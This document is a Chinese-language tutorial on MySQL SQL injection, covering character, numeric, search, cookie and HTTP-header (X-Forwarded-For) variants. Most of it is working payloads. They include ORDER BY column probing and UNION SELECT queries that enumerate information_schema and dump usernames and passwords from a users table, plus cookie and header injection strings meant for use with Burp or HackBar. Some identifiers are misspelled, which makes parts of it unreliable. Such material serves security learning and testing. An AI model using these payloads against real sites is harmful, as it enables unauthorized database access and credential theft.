补充:MySQL注释方法
文章目录
- 基本介绍
- 字符型
- 数字型
- 搜索型
- Cookie注入
- HTTP头注入
- 具体实例
- 数字型注入
MySQL注入
基本介绍
字符型
有这几种常见情况,闭合SQL语句,再插入我们需要的sql语句
数字型
字符型和数字型的区别在于接受的参数id的类型和数据库中id的字段类型
其实和字符型的注入方式是一样的,不必过度纠结于两者具体的区别
搜索型
就是post型的提交方式
Cookie注入
HTTP头注入
X-Forwarded-For
X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。类似的还有如下几种
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1
User-agent
用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。
Referer
Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。
具体实例
数字型注入
一般类型
因为不知道接收的id是1或者是"1"的形式我们先当成数字型注入
如何判断:'url?id=1+1’如果成功返回数据则为数字型注入+
=%2b
首先查字段
url?id = 1 order by 3 不报错
url?id = 1 order by 4 报错
所以有三个字段
接下来使用联合查询:url?id = 1 union select 1,2,3
查当前数据库名,版本,用户
url?id = 1 union select database(),version(),user()
查询有什么表
url?id = 1 union select 1,2,table_name from infomation_schema.tables where table_schema = database()
查询列名:
url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users'
查询数据:
url?id = 1 union select id,username,password from users
被单引号包裹起来的
在之后我们拼接and 1=1 and 1= 2,发现没有报错
之后加上id = 1'
单引号后报错,不正常说明sql语句可控
在Mysql中--+
代表注释此时id = 1'--+
成功执行
之后插上id = 1 and 1=2'-- +
不正常,即可食用之后类似上面一般类型
双引号加小括号包裹
首先查看id = 1
类似上面?id = 1') and 1 = 2-- +
发现1=1和1=2成功执行
两个括号
采用? id = 1')) union select 1,2,3 -- +
字符型注入
如果在url后拼接?id=1 and 1=1
orand 1=2
分别正确错误则说明为字符型注入
注入方式和数字型类似
搜索型注入
%代表%前面可以有字符后面也可以有
配合HackBar食用
post数据name = a' union select 1,2,3 -- +
Cookie注入
配合Burp使用
改为Cookie: uid = 1 union select 1,2,3
HTTP头注入
配合Burp食用
添加XFF头
完美成功!!!
127.0.0.1' order by 4-- +
成功,配合联合查询即可!!!
看图